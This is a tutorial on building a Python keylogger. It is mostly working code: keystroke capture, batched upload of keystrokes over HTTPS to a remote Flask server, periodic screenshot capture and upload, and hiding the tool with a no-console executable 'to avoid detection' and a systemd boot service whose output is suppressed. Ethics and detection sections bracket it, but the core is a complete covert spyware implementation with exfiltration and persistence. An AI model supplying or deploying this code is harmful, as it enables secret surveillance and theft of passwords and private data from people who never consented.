Table of Contents#
- Ethical and Legal Considerations
- Prerequisites
- Basic Keylogger Implementation 3.1 Setting Up the Environment 3.2 Capturing Keystrokes 3.3 Logging to a Local File 3.4 Handling Special Keys
- Advanced Features 4.1 Batch Remote Logging (HTTPS) 4.2 Screenshot Capture 4.3 Running in the Background
- Common Practices and Best Practices 5.1 Common Pitfalls to Avoid 5.2 Ethical Keylogging Best Practices
- Detecting and Mitigating Keyloggers
- Conclusion
- References
1. Ethical and Legal Considerations#
Before writing any code, you must adhere to these non-negotiable rules:
- Explicit Permission: Get written consent from the device owner. Verbal consent is not sufficient for legal compliance.
- Data Minimization: Only log data necessary for your intended purpose (e.g., no sensitive keystrokes if monitoring productivity).
- Compliance: Follow local laws (e.g., GDPR, CCPA, CFAA) regarding data collection, storage, and disclosure.
- Transparency: Disclose exactly what data you are collecting and how it will be used.
- Data Security: Encrypt logs (local or remote) to prevent unauthorized access.
- Data Retention: Delete logs immediately once your purpose is fulfilled.
2. Prerequisites#
- Python 3.8+: Ensure you have a recent Python version installed.
- Libraries: Install required packages using pip:
pip install pynput requests pillow pyscreenshot - Basic Python Knowledge: Familiarity with functions, threads, and exception handling.
3. Basic Keylogger Implementation#
We’ll use the pynput library for cross-platform keystroke capture (works on Windows, macOS, and Linux).
3.1 Setting Up the Environment#
First, install pynput:
pip install pynput3.2 Capturing Keystrokes#
The core of a keylogger is a listener that triggers an event whenever a key is pressed. Here’s a minimal example:
from pynput.keyboard import Key, Listener
def on_press(key):
"""Callback function triggered when a key is pressed."""
try:
print(f"Alphanumeric key pressed: {key.char}")
except AttributeError:
print(f"Special key pressed: {key.name}")
def main():
# Start listening for keystrokes
with Listener(on_press=on_press) as listener:
listener.join() # Block until listener stops
if __name__ == "__main__":
main()Run this script and type—you’ll see every keystroke printed to the console.
3.3 Logging to a Local File#
Instead of printing to the console, we can log keystrokes to a file. Use a context manager (with open(...)) to avoid file leaks:
from pynput.keyboard import Key, Listener
import logging
# Configure logging to a file
logging.basicConfig(
filename="keylog.txt",
level=logging.DEBUG,
format="%(asctime)s: %(message)s",
datefmt="%Y-%m-%d %H:%M:%S"
)
def on_press(key):
try:
logging.info(key.char)
except AttributeError:
logging.info(f"[{key.name.upper()}]")
def main():
with Listener(on_press=on_press) as listener:
listener.join()
if __name__ == "__main__":
main()This will log each keystroke with a timestamp to keylog.txt.
3.4 Handling Special Keys#
Special keys (Enter, Space, Backspace) need meaningful labels to make logs readable. Modify the on_press function:
def on_press(key):
log_entry = ""
try:
log_entry = key.char
except AttributeError:
if key == Key.space:
log_entry = "[SPACE]"
elif key == Key.enter:
log_entry = "[ENTER]\n" # Add new line for readability
elif key == Key.backspace:
log_entry = "[BACKSPACE]"
elif key == Key.tab:
log_entry = "[TAB]"
elif key in (Key.ctrl_l, Key.ctrl_r):
log_entry = "[CTRL]"
else:
log_entry = f"[{key.name.upper()}]"
logging.info(log_entry)4. Advanced Features#
Let’s enhance our keylogger with practical, ethical features.
4.1 Batch Remote Logging (HTTPS)#
Local logs are vulnerable to deletion or discovery. Instead, send logs to a secure remote server using HTTPS (never use HTTP, as it exposes data to interception).
Step 1: Build a Simple Flask Server#
First, create a server to receive logs:
# server.py
from flask import Flask, request
import logging
app = Flask(__name__)
logging.basicConfig(filename="remote_keylog.txt", level=logging.INFO)
@app.route("/log", methods=["POST"])
def receive_log():
log_data = request.form.get("log")
if log_data:
logging.info(log_data)
return "Log received", 200
return "Bad request", 400
if __name__ == "__main__":
app.run(host="0.0.0.0", port=443, ssl_context=("cert.pem", "key.pem")) # Use HTTPSGenerate SSL certificates (for HTTPS) using openssl:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365Step 2: Modify Keylogger to Send Batched Logs#
To reduce network traffic, collect keystrokes in a buffer and send them in batches:
# keylogger_remote.py
from pynput.keyboard import Key, Listener
import requests
import time
from threading import Timer
LOG_BUFFER = []
BUFFER_SIZE = 20 # Send after 20 keystrokes
SEND_INTERVAL = 60 # Or every 60 seconds
REMOTE_URL = "https://your-server-ip:443/log"
def send_buffer():
global LOG_BUFFER
if LOG_BUFFER:
log_data = "".join(LOG_BUFFER)
try:
requests.post(REMOTE_URL, data={"log": log_data}, verify="cert.pem")
LOG_BUFFER = [] # Clear buffer on success
except Exception as e:
print(f"Failed to send log: {e}")
# Schedule next send
Timer(SEND_INTERVAL, send_buffer).start()
def on_press(key):
global LOG_BUFFER
log_entry = ""
try:
log_entry = key.char
except AttributeError:
if key == Key.enter:
log_entry = "[ENTER]\n"
else:
log_entry = f"[{key.name.upper()}]"
LOG_BUFFER.append(log_entry)
if len(LOG_BUFFER) >= BUFFER_SIZE:
send_buffer()
def main():
send_buffer() # Start periodic sends
with Listener(on_press=on_press) as listener:
listener.join()
if __name__ == "__main__":
main()4.2 Screenshot Capture#
Pair keystrokes with screenshots to get context (e.g., which app the user was using). Use the pyscreenshot library:
import pyscreenshot as ImageGrab
from threading import Timer
def capture_screenshot():
timestamp = time.strftime("%Y%m%d-%H%M%S")
screenshot = ImageGrab.grab()
screenshot.save(f"screenshot_{timestamp}.png")
# Optional: Send screenshot to remote server
with open(f"screenshot_{timestamp}.png", "rb") as f:
requests.post("https://your-server-ip:443/upload", files={"file": f}, verify="cert.pem")
# Schedule next screenshot (every 5 minutes)
Timer(300, capture_screenshot).start()
# Add this to main() to start screenshot capture
capture_screenshot()4.3 Running in the Background#
To avoid detection, run the keylogger without a visible console.
Windows#
Use pyinstaller to create a console-less executable:
pyinstaller --onefile --noconsole keylogger_remote.pyThe output exe will run silently in the background.
Linux#
Run the script as a daemon using nohup:
nohup python3 keylogger_remote.py &To run on boot, create a systemd service file (/etc/systemd/system/keylogger.service):
[Unit]
Description=Ethical Keylogger
After=network.target
[Service]
User=your-username
ExecStart=/usr/bin/python3 /path/to/keylogger_remote.py
Restart=always
StandardOutput=null # Suppress logs
StandardError=null
[Install]
WantedBy=multi-user.targetEnable and start the service:
sudo systemctl daemon-reload
sudo systemctl enable keylogger.service
sudo systemctl start keylogger.service5. Common Practices and Best Practices#
5.1 Common Pitfalls to Avoid#
- Unencrypted Data: Never send or store logs in plaintext. Use HTTPS for remote logs and encrypt local logs.
- No Error Handling: Network failures or file permission issues will crash your keylogger. Add try-except blocks everywhere.
- Overlogging: Avoid capturing sensitive data like passwords or credit card numbers (even with permission, this is unnecessary for most legitimate uses).
- Hardcoded Credentials: Never hardcode server URLs or API keys. Use environment variables or config files.
- Ignoring Cross-Platform Differences:
pynputis cross-platform, but background execution and screenshot capture may require OS-specific tweaks.
5.2 Best Practices for Ethical Keylogging#
- Use HTTPS: Always encrypt data in transit.
- Log Rotation: Limit log file size to prevent disk space exhaustion.
- Remote Kill Switch: Add a hidden shortcut (e.g.,
Ctrl+Alt+Shift+Q) to stop the keylogger for testing. - Audit Logs: Keep records of when and where the keylogger was deployed, and who accessed the logs.
- Open-Source Code: For employee/parental monitoring, share the keylogger code with users to build trust.
6. Detecting and Mitigating Keyloggers#
Building a keylogger is a great learning exercise, but it’s equally important to understand how to defend against them:
- Anti-Malware Tools: Use tools like Malwarebytes or Windows Defender to scan for keyloggers.
- Monitor Processes: Check Task Manager (Windows) or
top/htop(Linux) for unknown processes. - Network Monitoring: Use
netstator Wireshark to detect unusual outgoing connections. - Startup Programs: Disable unknown programs in msconfig (Windows) or
systemctl list-unit-files(Linux). - Virtual Keyboards: Use virtual keyboards for sensitive inputs (e.g., online banking) to bypass keyloggers.
- OS Updates: Keep your OS and software patched to fix vulnerabilities keyloggers exploit.
7. Conclusion#
Building a keylogger in Python is a valuable way to learn about input handling, cross-platform development, and security ethics. Always prioritize ethical use and legal compliance—misuse of keyloggers can result in severe legal consequences.
Remember: The best keyloggers are transparent, secure, and designed to serve legitimate purposes. Use your knowledge to build tools that protect and empower users, not harm them.